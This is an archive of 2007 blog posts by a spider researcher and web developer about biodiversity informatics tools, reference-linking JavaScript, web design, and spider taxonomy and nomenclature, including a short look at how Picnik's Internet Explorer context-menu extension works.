A primary journal (whether it is hosted by the publisher or included in an aggregator or database service) must be deposited in the CrossRef system before a CrossRef Member or Affiliate can retrieve DOIs for references in that article. For example, an Affiliate that hosts full text articles can only lookup DOIs for references in an article if that journal's publisher is a PILA Member and is depositing metadata for that journal in the CrossRef System
Real-time DOI look-up by affiliates is not permitted (that is, submitting queries to retrieve DOIs on-the-fly, at the time a user clicks a link). The system is designed for DOIs to be retrieved in batch mode.

So what's the big deal?
The issue has to do with scientific society back-issues like the kind served by JStore. Without some sort of real-time DOI look-up, it is near impossible to learn of newly scanned and hosted PDF reprints for older works. After September 7, the only solution available to developers and bioinformaticians is to periodically "batch upload" lookups. CrossRef sees Rod Page's bioGUID service and my simple, real-time gadget as a threat to their steady flow of income even though it clearly fits within their general purpose "...to promote the development and cooperative use of new and innovative technologies to speed and facilitate scholarly research."

Giant Texas Spider Web

2007-09-01T17:36:00.000-06:00

This past week, there have been numerous stories about the Giant Texas Spider Web in Lake Tawakoni State Park such as this compiled CNN video re-posted on YouTube:

View Larger Map

There hasn't yet been a definitive identification of the species involved (stay tuned for more), but from the videos I have seen, the primary culprit looks to be a tetragnathid (long-jawed orbweaver) and not the assumed social spiders like Anelosimus spp. (doi:10.1111/j.1096-3642.2006.00213.x). This behaviour is rather unusual for a tetragnathid and reminds me of what was thought to be a mass dispersal event gone awry near McBride, British Columbia several years ago. In that case, the species involved were (in order of numerical dominance): Collinsia ksenia (Crosby & Bishop, 1928), Erigone aletris Crosby & Bishop, 1928, a Walckenaeria sp., and Araniella displicata (Hentz, 1847). See Robin Leech et al.'s article in The Canadian Arachnologist (PDF, 180kb). In the case of this massive Texas webbing, there also appear to be several other species present in the vicinity as evidenced by the nice clip of Argiope aurantia Lucas, 1833 in the YouTube video above.

Update:
Mike Quinn, who compiles "Texas Entomology", has a great page on the possible identity of the species involved in the giant web. The candidate in the running now is Tetragnatha guatamalensis O. P.-Cambridge, 1889, which has been collected from Wisconsin to Nova Scotia, south to Baja California, Florida, Panama, and the West Indies. The common habitat as is the case for most tetragnathids is on streamside or lakeside shrubs and tall herbs.

Another potential candidate (if these are indeed tetragnathids) is Tetragnatha elongata Walckenaer, 1842. I suspect the tetragnathids and A. aurantia are incidentals and not the primary culprits who made the giant mess of webbing. Since Robb Bennett and Ingi Agnarsson both have suspicions that the architect is Anelosimus studiosus (Hentz, 1850), and since it is highly unlikely it is a tetragnathid, I have my bets on ergionine linyphiids much like what happened in McBride, BC.

JSON is Kewl

2007-08-22T17:30:00.000-06:00

While messing around with the new fangled reference parser script that connects to bioGUID to get the goods, it occurred to me that this slick, simple technique that requires next to no mark-up, can be applied to all sorts of nifty things. Yahoo produces JSON for its search results and you can specify your own callback function. So, for kicks, I adjusted my JavaScript file a bit to use Yahoo instead of Rod Page's bioGUID reference parser and also added some cool DHTML tooltips developed by Walter Zorn. So, hover your mouse over a few animal and plant names that I list here with no particular relevance: Latrodectus mactans, Blue Whale, blue fescue, and, Donald Hobern's favourite, Puma concolor. Incidentally, I may as well try it with Donald Hobern himself (Disclaimer: I take no responsibility for what may pop-up in the tooltip). Now that I have been messing with this JavaScript for pulling JSON with a callback, this stuff is quite exciting. You have to remember that there is next to NO mark-up or any additional effort for someone to take advantage of this. I only have a few JavaScript files in the <body> section of this page and I mark-up the stuff I want to have a tooltip with <span class="lifeform">name here</span>. This is pretty cool if I do say so myself.
I initially tried this technique with Flickr, but they don't permit square brackets in a callback function. So, I wrote the developers and alerted them to this cool new toy. Hopefully, they'll open the gates a little more and not be so restrictive.

Forgive me...I just can't help myself:
Carabus nemoralis
Argiope aurantia
Culex quinquefasciatus
duck-billed platypus
slime mould
...How many more million to go?...

Gimme That Scientific Paper Part III

2007-08-19T23:25:00.000-06:00

Update Sep 28, 2007: Internet Explorer 6 refuses to cache images properly so I have an alternate version of the script that disables the functionality described below for these users. You may see it in action HERE. Also, the use of spans (see below) may be too restrictive for you to implement so I developed a "spanless" version of the script HERE. This version only requires the following mark-up for each cited reference and you can of course change a line in the script if you're not pleased with the class name and want to use something else:
<p class="article">Full reference and HTML formatting allowed</p>

Those who have followed along in this blog will recall that I dislike seeing references to scientific papers on web pages when there are no links to download the reprint. And, even when the page author makes a bit of effort, the links are often broken. One solution to this in the library community is to use COinS. But, this spec absolutely sucks for a page author because there is quite a bit of additional mark-up that has to be inserted in a very specific way. [Thankfully, there is at least one COinS generator you can use.] I was determined to find a better solution than this.
You may also recall that I came up with an AJAX solution together with Rod Page. However, that solution used Flash as the XMLHTTP parser, which meant that a crossdomain.xml file had to be put on Rod's server, i.e. this really wasn't a cross-domain solution unless Rod were to open up his server to all domains. Yahoo does this, but it really wasn't practical for Rod. As a recap, this is what I did in earlier renditions:
The JavaScript automatically read all the references on a page (as long as they were sequentially numbered), auto-magically added some little search icons such as , & when clicking these, the references were searched via Rod Page's bioGUID reference parsing service. If a DOI or a handle was found, the icon changed to ; if a PDF was found, the icon changed to ; if neither a PDF or a link via DOI or handle were found, the icon changed to whereby you could search for the title on Google Scholar; and finally, if the reference was not successfully parsed in bioGUID, then the icon changed to an "un"-clickable . If you wanted to take advantage of this new toy on your web pages, you had to either contact Rod and ask that your domain be added to his crossdomain.xml file or you'd have to set-up a PHP/ASP/etc. proxy. But, Rod has now been very generous...

Rod now spits out JSON with a callback function. What this means is that there are no longer any problems with cross-domain issues as is typically the case with XMLHTTP programming. To make a long story short, if you are a web page author and include a number of scientific references on your page(s), all you need do is grab the JavaScript file HERE, grab the images above, adjust the contents of the JavaScript to point to your images, then wrap up each of your references in span elements as follows:

<p><span class="article">This is one full reference.</span></p>
<p><span class="article">This is another reference.</span></p>
etc.
How easy is that?!
To see this in action, have a peek at the references section of The Nearctic Spider Database.

Or, you can try it yourself here:

Buckle, D. J. 1973. A new Philodromus (Araneae: Thomisidae) from Arizona. J. Arachnol. 1: 142-143.

For the mildly curious and for those who have played with JSON outputs with a callback function, I ran into a snag that caused no end of grief. When one appends a JSON callback to a page header, a function call is dynamically inserted. This works great when there is only need for one instance of that function at a time. However, in this case, a user may want to call several searches in rapid succession before any previous call was finished. As a consequence, the appended callback functions may pile up on each other and steal each others' scope. The solution was to dump the callback functions into an array, which was mighty tricky to handle.

Mind Dumps...er...Maps/Graphs/Trees

2007-08-15T22:14:00.000-06:00

Since Adobe has been driving across the US, selling some AIR, I thought I'd take a closer look at Flex/Flash applications that might fit the bill for some tough ideas I have been wrestling with. In a somewhat similar GUI struggle, Rod Page has been fevershly playing with Supertrees, trying to find a web-based, non-Java solution. So, I did a bit of digging into some showcased Adobe AIR applications - tutorial and demo sites are cropping up all over the place - and a Flex application that will soon be transformed into AIR caught my eye: Mindomo. Now, if this mindmapping application had RDF tying the bits together, which came via distributed web services from GBIF, GenBank, CrossRef, etc., we'd have a real winner here. Mindomo is exactly the application I have been dreaming about for The Encyclopedia of Life (EOL)'s WorkBench; it just has to be pinned down into the biological, semantic web world. Since an AIR application can wrap all this up in a web/desktop hybrid application, I am convinced this is what EOL absolutely must produce.

Google Finds Spiders in Your Backyard

2007-08-13T23:20:00.000-06:00

The Google API team have added a new DragZoomControl to the list of available functions. This feature has been bandied about for quite some time and various people have hacked together approximations for this using other JavaScript functions. My interest in this isn't so much the zoom function as cool as that is, but the ability to query resources bound by the drawn box.

Kludging DragZoomControl to perform a spatial query isn't particularly practical or useful so I used a Yahoo YUI "Drag & Drop - Resizable Panel" to fix-up what I once using. What I used in the past that didn't perform well for Safari users was some scripting from Cross-Browser.com called the X Library. Now, with Yahoo's improvement on this, the function works as expected. Because it's very easy to add things that stay positioned within such a draggable box, the Yahoo YUI component is a much better solution. So, just like you can zoom in / zoom out with the Google DragZoomControl, so too can you put these functions within a draggable, resizable box. I'll also add that the resizing function in Yahoo's component is much smoother than Google's own DragZoomControl. Now the fun part...

Two little icons within the draggable, resizable box allow you to search for spider images or produce a spider species list, which are based on collections records submitted to The Nearctic Spider Database. Click HERE to try your hand at it and search for spiders in your back yard.

The advantage of such a simple function is that one need not have a spatial database like PostgreSQL, but can make use of any enterprise back-end. The query run is the typical minX, maxX, minY, maxY to define the four corner coordinates. With a ton of records in the backend however, the query can take a long time to complete so an index on the latitude and longitude columns may be required as explained in the Google API Group. If you want to see what you can do with a spatial database however, have a look at what programmers for the Netherlands Biodiversity Information Facility have put together.

Happy spider hunting...

Dare to Dream Big

2007-08-07T11:59:00.000-06:00

This post will be quite off-topic, but I just had to share some recent stuff in the works that caught my eye.

First up is a spin-off from research at MIT, led by Sanjit Biswas who temporarily left his Ph.D. program (are you sure, Sanjit?) to lead a company called Meraki. The cheap, little router/repeaters permit the creation of "smart", distributed networks such that a single DSL connection can feed dozens of end-points. The firmware in each little gizmo permits a network admin to monetize these ad-hoc connections. Consequently, getting connected to the 'net could be as cheap as a $1 a month once a user buys the attractive Meraki mini. The company also recently announced a Meraki Solar kit. Now that's forward thinking. There are dozens of testaments on the Meraki web site including one from the town Salinas, Ecuador where a network of schools are now connected even though there are no phonelines!

Distributed, ad hoc connections like this reminded me of an email I recently received from Rod Page who alerted me to FUSE, which stands for "File System in Userspace". This is a Linux-based, Sourceforge project that allows a user to create & mount virtual drives that contain or represent a vast array of file types. For example: 1) Fuse::DBI file system mounts some data from relational databases as files, 2) BloggerFS "is a filesystem that allow Blogger users to manipulate posts on their blogs via a file interface.", and 3) Yacufs "is a virtual file system that is able to convert your files on-the-fly. It allows you to access various file types as a single file type. For instance you can access your music library containing .ogg, .flac and .mp3 files, but see them all as if being .mp3 files." This all sounds very geeky, but I draw your attention to MacFUSE (sadly, there is not yet a WindowsFUSE, though it appears this functionality has not gone unnoticed):

So what? Isn't this just like some sort of peer-2-peer system? Absolutely not. This is more like a distributed content management system and, coupled with a highly intelligent Yacufs-like extension, it means that file types (e.g. MS Word, OpenOffice, etc.) can be converted on-the-fly to whatever file format you want or need. To step this thinking up a bit in case you have no idea why this is relevant to ecology or systematics, have a look at the cool things Cynthia Parr and her colleagues are doing to visualize distributed data sets: doi:10.1016/j.ecoinf.2007.03.005. FUSE means the work Cynthia & others are doing (e.g. SEEK) don't need a GUI. Rather, we just need a way to organize the gazoodles of files that would/could be present in an ecologically- or taxonomically-relevant filesystem. Maybe I should coin these EcoFS and TaxonFS :)~

The Next Scientific Revolution?

2007-07-24T13:30:00.000-06:00

With the advent of Science Commons (see the popsci.com article) and cool new tools available at Nature like its Precedings, opportunities to share research outside for-profit business models (i.e. journals) are starting to gain momentum. Systems like Neurocommons allow for a redrawing of money tranfer trajectories around and within publishing firms such that everyone can play nice in the sandbox. Medical research sells no matter how you redraw the lines or rebuild the castle. But, I wonder if the discussions around these "revolutions" have attempted to include pure research whose business model is based entirely on public funds and funding institutions that receive their monies from government pots? How do you sell Science Commons to mathematicians, theoretical physicists, systematists, ecologists, among other scientists whose research is not closely tied to big bucks pharmaceutical companies and a Gates Foundation? Repositories like iBridge are useful for niche markets and interests, but I'd hardly call them revolutionary for all of science. If proponents of the Semantic Web want to sell their ideas, I'd like to see buy-in by one tenured ecologist & then some demonstrable evidence for how this will accelerate his/her research.

Biodiversity on the Desktop

2007-07-19T14:18:00.000-06:00

In earlier posts, I described my vision of an Encyclopedia of Life (EoL) where the web and your desktop environment are blurred or mashed together. In such a manner, I envisioned a tool where users and contributors to EoL could maintain either a public or private working space to mix and mash data from multiple sources with those in their own hard drives.

One of the grandiose dreams I had was the ability to create a private, content management-like community within EoL in which co-authors of a proposed manuscript like a taxonomic revision could merge their datasets, grab data from third party sources if useful (e.g. GenBank, GBIF, etc.), and collectively work on the manuscript. Upon completion of the manuscript, there may be some elements of use to EoL that the authors could later push out, which in no way diminishes the value of their publication or would cause editors to frown and reject the paper, but offers immediate value to the public at large. Granted I'm not totally clear on how this will work, but I really don't think it would be completely unrealistic. But, what I can't stress enough, is that EoL cannot be like WikiSpecies where contributors have to sit and author content solely for use in WikiSpecies. Rather, it absolutely must have a system that can somehow slip into the workflow of biologists. I'm now convinced that such a vision is not science fiction.

I watched a few Adobe AIR (Adobe Integrated Runtime - code named Apollo) videos this morning and got thoroughly fired-up about the possibilities. Google has been working on an offline API, which looks pretty good, but AIR blows all this out of the water because it allows a developer to maintain an application's presence on the desktop. Further, it can be integrated into the operating system. So, imagine working on a manuscript with a handful of colleagues and be notified with a desktop toast pop-up when he/she has completed his/her revisions or sections of the manuscript, or if a dataset in EoL suddenly became available while the manuscript was being prepared.

The really cool thing from a web developer's perspective is that AIR uses existing web programming tools, i.e. the learning curve to create these cross-platform applications is quite shallow because code can be repurposed for either the web or the desktop...at least that's the impression I get from watching a few of these videos. Here's one such video where Christian Cantrell demonstrates a few simple applications built on AIR...just mentally substitute Amazon for EoL and you get my drift.

Now, all this stuff is really cool and there is indeed the potential for EoL or the totally unknown "MyEoL" to truly transform the science of biology because it can & should slip into biologists' workflows. Of course, there's no reason why multiple flavours of these AIR desktop applications couldn't be built for children, amateur naturalists, scientists, or however EoL sees its user base. In fact, what I'd really like to see is a BioBlitz class of user where observational data can be merged across interest groups at any geographic scale in their respective desktop applications. An Encyclopedia is great, but we ultimately want people to use the encyclopedia and go outside with fellow human beings to look at, count, touch, or otherwise experience life on our planet. Each flavour of the desktop application can be customized to do different chores or expose different aspects of the EoL system to various classes of end users. The first step then is to nail the needs and design these applications around them. So, here are a few questions to kick-start this process, at least for biologists/systematists who are excited about EoL but just don't believe there will ever be time for them to contribute content:

1. When conducting a taxonomic revision, what are the significant organizational and communications impediments that have slowed down the process?
2. What data sets are vital to conducting an effective revision?
3. What desktop software applications are critical when conducting a revision? [remember, because AIR is on the desktop, there may be an opportunity here to automate file type transformations produced by one provider/database/spreadsheet to the applications required to actually analyze the data]

#2 above will be a challenge and will require that data providers produce similarly structured APIs (e.g. DiGIR, TAPIR, OpenSearch, and the like). This I believe, is where EoL has to take firm leadership. What it needs now is a demo application like that produced by Adobe and Christian Cantrell so we can all visualize this dream. Currently, the EoL dream is very fuzzy and has lead to a lot of miscommunication and confusion. e.g. isn't this just WikiSpecies? THEN, EoL absolutely must write some recipes for content providers to start sharing their data in a manner like what Google does with their Google Maps API. The selling point will be iconographic and link-back attribution for content providers, which can be constructed already if all content providers used a system like OpenSearch, MediaRSS, GeoRSS, and various other RSS flavours to open their doors.

Digital Species Descriptions & the new GBIF portal

2007-07-04T13:30:00.000-06:00

The Biodiversity Information Standards (previously known as TDWG, the Taxonomic Database Working Group) has recently rolled out a new subsgroup called "Species Profile Model" led by Éamonn Ó Tuama (GBIF). Thirteen people attended a workshop April 16-18, 2007 in Copenhagen, DK shortly after the Encyclopedia of Life informatics workshop in Woods Hole, MA. The point of this Copenhagen workshop was to hash out a specification to support the retrieval and integration of data with the lofty goal of "reaching consensus and avoiding fragmentation" of existing species-level initiatives. I'm all for this, but I wonder if it will work? I believe "consensus" as it's described here is meant to be a common way of presenting the data rather than a true taxonomic, ecological, or political consensus. A specification does not preclude the possibility for several variants of a species profile served from multiple (or even the same) provider. These could of course have conflicting or dated information and ultimately result in misleading COSEWIC-type recommendations. So, what about consensus as we usually define it? Or, is that beyond the responsibility of this subgroup?

A standard for specimen data (Darwin Core, ABCD, etc.) is obvious, but I'm not convinced that a standard for species descriptions is wise unless such a standard were developed and solely hosted by the nomenclators and sanctioned by the various Codes. A standard for species descriptions without ties to the nomenclators and the authors who conducted the original species description or revision merely democratizes fluff. Before a standard Species Profile Model is put into practise, such RDF representations have to at least explicitly incorporate peer review, authorship, and a date stamp.

I also noticed that the Species Profile Model is attempting to integrare citations to scientific literature. I suggest the team take a good close look at OpenURL, which lends itself to useful functionality when building lists of references in front-end applications (see Rod Page's post in iPhylo on this very subject and several posts in this blog). The OpenURL format will influence how the elements in the proposed Species Profile Model ought to be constructed.

On other fronts, GBIF just rolled out their new portal: http://data.gbif.org. It looks as if the whole index and back-end was reconstructed and there remain some missing provider data tables. In time, these will probably blink on as they were presented via the old portal. What I appreciate seeing for the first time is a concerted effort to give providers some auto-magic feedback about what is being served from their boxes. Vetting data is a very important part of federation and I hope providers sit up and take notice. GBIF calls these "event logs", which is too obtuse. I'd like to see this called "Questionable Data Served from this Provider", "Problem Records", or "The Crap You're Serving the Scientific Community", or something similar. "Event logs" is easily dismissed and overlooked. For example, here are the event logs for the University of Alaska Museum of the North Mollusc Collection: http://data.gbif.org/datasets/resource/967/logs/. GBIF also has a flashy new logo & plenty of easy to use web services.

DiGIR for Collectors

2007-06-19T19:58:00.000-06:00

The Global Diversity Information Facility (GBIF) has done an excellent job at designing the infrastructure to support the federation of specimen and observation data. The majority of contributing institutions use Distributed Generic Information Retrieval (DiGIR), an open-source PHP-based package that nicely translates columns of data in one's dedicated database (e.g. MySQL, SQL Server, Oracle, etc.) into Darwin Core fields. So, even if your data columns don't match the Darwin Core schema, you can use the DiGIR configurator to match your columns to what's needed at GBIF's end. Europeans tend to prefer Access to Biological Collection Data (ABCD) as their transport mechanism. The functionality of these will soon be rolled into the TDWG Access Protocol for Information Retrieval (TAPIR). To the uninitiated like me, this is a jumbled, confusing alphabet soup and at first I couldn't navigate this stuff.

Suffice it to say, the documentation isn't particularly great on either the TDWG or GBIF web sites. To the TDWG folks: a screencast with step by step install for both Windows & Linux would go a long way! I don't mean a flashy Encyclopedia of Life webcast, I mean a basic TDWG for Dummies. If you have a dedicated database and a web server that can push PHP-based pages, it's actually pretty straight forward once you get going. It's really just a matter of jumping through a few simple hoops. Click here; do this; match this; click there - not much more difficult than managing an Excel datasheet. The downloads & step by steps for DiGIR can be found HERE. The caveat: you need a dedicated database, a dedicated web server, and you need your resource to be recognized by a GBIF affiliate before it's registered for access. That's unfortunately how all this stuff works.

So what about the casual or semi-professional collector that may have much larger collections than what can be found in museums? It's not terribly likely countless, hard-working people like these have the patience to fuss with dedicated databases (we're not talking Excel here) or web servers. Must they wait to donate their specimens to a museum before these extremely valuable data are made accessible? In many cases, a large donation of specimens to a museum sits in the corner and never get accessioned because there simply isn't the human power at the receiving end to manage it all. Heck, some of the pre-eminent collections in the world don't even have staff to receive donations of any size! This is a travesty.

An attractive solution to this is to complement DiGIR/ABCD/TAPIR with a fully online solution akin to Google Spreadsheets. For the server on the other end, this means a beefy pipe and a hefty set of machines to cope with this AJAX-style, rapid & continuous access. But, for small taxa-centric communities, this isn't a problem. In fact, I developed such a Google Spreadsheet-like function in The Nearctic Spider Database for collectors wanting to manage their spider data.

Turn Up Volume!

Watch the video above or HERE (better resolution). Everything is hosted on one machine on a residential Internet connection & I have had up to 5 concurrent users + all the usual 2,500 - 3,500 unique visitors a day with no appreciable drop in performance. Granted things are a little slower in these instances, but the alternative is no aggregation of data at all. To help users that each have their own table in the database, I designed some easy and useful tools. For example, they may query their records for nomenclatural issues, do some real-time reverse geocoding to verify that their records are actually in the State or Province they specified, check for duplicates, among a few other goodies like mapping everything as clickable pushpins in Google Map. Of course, one can export as Excel or tab-delimited text files at any time. The other advantage to such a system is that upon receiving user feedback and requests, I can quickly add new functions & these are immediately available to all users. I don't have to stamp and mail out new CDs, urge them to download an update, or maintain versions of various releases. If you're curious about wanting to do the same sort of thing for your interest group, check out Rico LiveGrid Plus, the code base upon which I built the application.

What would be really cool is if this sort of thing could be made into a Drupal-like module & bundled into Ubuntu Server Edition. A taxon focal group with a community of say 20-30 contributors could collectively work on their collection data in such a manner & never have to think about the tough techno stuff. They'd buy a cheap little machine for $400, slide the CD into the drive to install everything & away they go.

The real advantage to the on-line data management application in the Nearctic Spider Database is the quick access to the nomenclatural data. So, the Catalog of Life Partnership & other major pools of names ought to think about simple web services upon which such a plug-and-go system can draw their names. It's certainly valuable to have a list of vetted names such as what ITIS and Species2000 provide, but to really sell them to funding agencies they no doubt have to demonstrate how the names are being used. Web services bundled with a little plug-and-go CD would allow small interest groups to hit the ground running. Such a tool would give real-world weight to this business of collecting names and would go a long way toward avoiding the shell games these organizations probably have to play. I suspect these countless small interest groups would pay a reasonable, annual subscription fee to keep the names pipes open. Agencies already exist to help monetize web services using such a subscription system. Perhaps it's worth thinking like an Amazon Web Service (AWS) where users pay for what they use. Unlike AWS however, incoming monies would only support the Catalog of Life Partnership wages and infrustructure to take some weight off chasing grants.

Impossibility of Discovery

2007-06-18T22:32:00.000-06:00

For the past couple of years, I have scoured the Internet for spider-related imagery and resources. I think I have a pretty good handle on it. But, there are some gems out there that at are near impossible to find. The discoverability issue has a lot to do with poor web design and that means little to absolutely no consideration for how search engine bots work. While it's commendable to put all that content on a website, it's equally important to ensure the work can be discovered. Many of the authors below should look at some of the offerings in Web Pages That Suck and pay close attention to the list of web design mistakes. Without good design, what's the point? Let it be clear that I'm not knocking the content; these are extremely valuable and obviously very time-consuming works. However, consideration must be given to the end user. Why not just get these works ready for a book & let a typesetter and layout editor handle the esthetics? A few of these examples are (in no particular order):

Nachweiskarten der Spinnentiere Deutschlands

Linyphiid Spiders of the World

Arachnodata

Aracnis

Central European Spiders - Determination Key

Three words: kill the frames. If you have to use a frameset, give the user the option to turn it on or off.

Other sites have been improving dramatically like Jørgen Lissner's Spiders of Europe. But, it's worth thinking about a search function and also hiding the backend technology by creating URIs (i.e. aspx might be your preferred programming language, but what if you decide one day to switch to Apache and PHP?). A bit of server-side URL re-writing can go a long way to ensure longterm access to your content. If you switch to Apache, MySQL, and serve content via PHP, you can make use of Apache's mod_rewrite...none of your incoming links break.

Some pointers:

If you're going to use drop-down menus, please, please make them useful & hierarchical by using some simple AJAX to submit a form and adjust the options. Nothing is more frustrating than scrolling through an endless list of species only to find the one you're looking for is not there or to select a species only to find no content. A list of taxonomic references is at least some content even if that may seem rather thin. If Google and other search engines are having a rough time indexing your content, it is equally rough on end users. Another point is to lose the mindset that you're working with paper - the web is a highly interactive place and visitors have short attention spans. Limit the content to the most important bits. Use a pale background and dark-coloured text. Not only is printing web sites that use the reverse a pain, you are also saying, "I haven't thought about people with less than perfect vision." I could go on and on, but I'll leave it at that.

If you want a web site with hundreds of arachnid-related links, visit the Arachnology Homepage. Herman Vanuytven puts a lot of time trying to make sense of all the arachnid content out there.

Sociology & Gabbing Web Images

2007-06-17T21:48:00.000-06:00

Admittedly, I'm a Flickr noob and only recently made an account for myself. I'm not entirely pleased with the interface because frankly, it's too busy and inconsistent for my liking. However, I just stumbled across Picnik. From their FAQ:

What is Picnik?
Picnik is photo editing awesomeness, online, in your browser. It's the easiest way on the Web to fix underexposed photos, remove red-eye, or apply effects to your photos.

Not only that, it is well hooked into Flickr, Facebook and a number of other sites. What struck me about one of the features in their somewhat hidden tools are Firefox and Internet Explorer extensions. Now, extensions in Firefox are relatively easy to construct, but Internet Explorer extensions are a bit of a pain. So, I was curious to see what they did. It is a registry hack that contains the following:

Windows Registry Editor Version 5.00; See http://msdn.microsoft.com/workshop/browser/ext/tutorials/context.asp for details
[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt\Edit in &Picnik] @="http://www.picnik.com/extensions/ie-import.html"
"Contexts"=dword:00000002

That hack installs an option in the right-click context menu within Internet Explorer. When the hack is installed, you may right-click any image on a web page and choose "Edit in Picnik". I tried it and of course, the URL to the image is seamlessly grabbed and the image is immeditalely available in Picnik for editing using its rich array of very easy to use tools.

Being naturally curious, I pointed the URL in that above registry hack to http://www.picnik.com/extensions/ie-import.html and was presented with a web page alert whose source was the following:

<html><body>
<script>
// See http://msdn.microsoft.com/workshop/browser/ext/tutorials/context.asp for details
try {
var wndParent = external.menuArguments;
var strImportURL = wndParent.event.srcElement.src;
wndParent.location = "http://www.picnik.com/?import=" + strImportURL;
} catch (ex) {
alert("Unable to import image. Let us know at feedback@picnik.com");
}
</script>
Edit in Picnik for Internet Explorer
</body></html>

So, it seems the registry hack merely calls the URL to an image and feeds it as a querystring parameter into Picnik. Pretty slick. But there's more...

You can grab any image like this, edit it in Picnik, then seamlessly send it to your Flickr account using the behind-the-scenes Flickr API. Technically, you never have to interface with the busy Flickr site. Almost everything can be done within Picnik from grabbing either a local image from your hard drive, web site, etc., editing it using its fully online, smooth and easy to use image editing tools, then you can push the result out to Flickr or Facebbok, send it via email, save it back to your hard drive, plus a number of other export options. Wow.

Grabbing images like this off a web page & then sending it off to Flickr certainly has some serious copyright issues and speaks volumes about the sociology of the web culture. This is exactly the kind of content ownership issues that seem not to phase other emerging application developers like those behind Zude or ZCubes. Where's the justice? Do Creative Commons licenses make a whole hill of beans worth of difference when there are tools like these? I tried to get this notion across to the participants & contributors in/to BugGuide (see discussion) as encouragement to think about an API to propagate their great work in other resources like the Encyclopedia of Life. There are lots of synergistic reasons for building a simple API. BugGuide is a rich, longstanding, community-driven resource for people to post their images of NA arthropods, author guide pages, discuss issues in a forum, among other really useful functions. Getting nomenclatural data from an Encyclopedia of Life API would be one simple example of potential information flow back to BugGuide.

One of the shortcomings of Picnik, Zude, and ZCubes is that there is no way to retain any accreditation other than the host domain for where the image was "ripped". It also means that MediaRSS extensions for RSS 2.0 or the FOAF and Dublin Core vocabularies for RSS 1.0 are entirely useless in this context because they aren't being used even if the data were available. What I think Picnik, Zude, and ZCubes (& Flickr too for that matter) ought to consider is an embedded meta data reader/writer for images. If this is so commonly done with MP3 music files, why is this taking so long for image files?

Salticus scenicus (Clerck, 1757)

2007-06-13T14:54:00.000-06:00

To date, I haven't posted anything about spiders. This blog is at its heart about araneids afterall, so I may as well get started on an interesting tidbit.

Here's a shot of a male Salticus scenicus (Clerck, 1757). I found this guy in my kitchen, busy terrorizing my 75 pound black, Labrador Retriever. I rushed to get the camera, took several shots, and tried my best to maintain a steady hand. While on knees and elbows, a large, wet tongue repeatedly sought appeasement in my left ear. Later, I submitted the image, locality, and a few comments to Spider WebWatch because it's one of the nine species featured in that citizen science initiative. With prodding from a few folks, I designed the backend and layout for Spider WebWatch. It's a bit like a forum or a blog where participants can quickly click a spot on a Google Map, pick a date, type a free-form observation, and upload an image. Other participants can submit comments on individual observations and everything I could think of has an RSS 2.0 feed with GeoRSS and MediaRSS extensions. In other words, if you're so inclined, you can grab these feeds and images and maintain textual accreditation for these contributions. I also have a dynamically created Google Earth download; the locales and observations are fed from the server to your machine when called such that you don't have to download a large Google Earth file...it's a bit like the Google Earth Santa tracker in that regard.

Anyhow, on to more interesting matters...

Astute adherents to the International Code of Zoological Nomenclature will notice the date Salticus scenicus was described: 1757. Directly from the ICZN is the following:

Article 3. Starting point. The date 1 January 1758 is arbitrarily fixed in this Code as the date of the starting point of zoological nomenclature.

3.1.Works and names published in 1758. Two works are deemed to have been published on 1 January 1758:
- Linnaeus's Systema Naturae, 10th Edition;
- Clerck's Aranei Svecici.
Names in the latter have precedence over names in the former, but names in any other work published in 1758 are deemed to have been published after the 10th Edition of Systema Naturae.

3.2. Names, acts and information published before 1758. No name or nomenclatural act
published before 1 January 1758 enters zoological nomenclature, but information(such as descriptions or illustrations) published before that date may be used. (See Article 8.7.1 for the status of names, acts and information in works published after 1757 which have been suppressed for nomenclatural purposes by
the Commission).

There apparently has been plenty of bickering about Clerck's 1757 Aranei Svecici, which of course was published before Linnaeus' Systema Naturae. The full reference is:

Clerck, C. 1757. Svenska spindlar, uti sina hufvud-slågter indelte samt under några och sextio särskildte arter beskrefne och med illuminerade figurer uplyste. Stockholmiae, 154 pp.

According to Article 3.1 of the ICZN, the authorship for Salticus scenicus ought to be 1758 yet arachnid systematists (not naming names) have fought tooth and nail to preserve full recognition/respect for Clerck's work. Clerck orginally described this species as Araneus scenicus; the Genus Araneus was a veritable trash bin for a lot of spiders. Linnaeus redescribed the species as Aranea scenica in 1758, also a trash bin. So who's the authority? In case you're interested, the spiders in Linnaeus' tome are:

Linnaeus, C. Systema naturae per regna tria naturae, secundum classes, ordines, genera, species cum characteribus differentiis, synonymis, locis. Editio decima, reformata. Holmiae, 821 pp. (Araneae, pp. 619-624).

Gimme That Scientific Paper! Part II

2007-06-10T22:36:00.000-06:00

If you're wanting to make textual lists of online references more useful for visitors to your page(s) such that you can turn references like this:

Work, Timothy T., David P. Shorthouse, John R. Spence, W. Jan A. Volney, David Langor. 2004. Stand composition and structure of the boreal mixedwood and epigaeic arthropods of the Ecosystem Management Emulating Natural Disturbance (EMEND) landbase in northwestern Alberta. Can. J. For. Res. 34(2): 417–430.

Into this:

Work, Timothy T., David P. Shorthouse, John R. Spence, W. Jan A. Volney, David Langor. 2004. Stand composition and structure of the boreal mixedwood and epigaeic arthropods of the Ecosystem Management Emulating Natural Disturbance (EMEND) landbase in northwestern Alberta. Can. J. For. Res. 34(2): 417–430.

[Doesn't work here because of Blogger constraints]

Where the little magnifying glass allow visitors to your page to search for the paper without having to maintain the links, all you need to do is download this:
http://www.canadianarachnology.org/bioGUID/bioGUID.js

And follow the brief instructions in the JavaScript file. There's next to no additional mark-up required for the lists of papers (see Here in the comments section of a previous post). The script makes use of some cross-domain Flash, which requires that your domain be added to Rod Page's bioGUID reference parser. However, I included some simple php and asp examples to step around that constraint and also a link to an online file storage service where you can get all the images I used or directly accessible here: http://www.box.net/shared/685i4nyxxj#1:7066241

Fun With RSS

2007-06-05T00:11:00.000-06:00

Seems Google has finally jumped on the MediaRSS bandwagon. For some time now, I have been producing MediaRSS as well as simple GeoRSS feeds from The Nearctic Spider Database and Spider WebWatch. Of note, you can paste a GeoRSS feed URL into Google Maps to get an instant mash-up. Since Google just released an AJAX Feed API, I thought I'd give it a shot in this blog. Here's a feed from the 10 most recent Spider WebWatch posts where contributors uploaded images with their observations:

What I'd really like to see now is for OpenSearch to adopt these extensions such that 3rd party, client-run search engines like ZoomSearch start incorporating this stuff.

Gimme That Scientific Paper!

2007-06-01T09:54:00.000-06:00

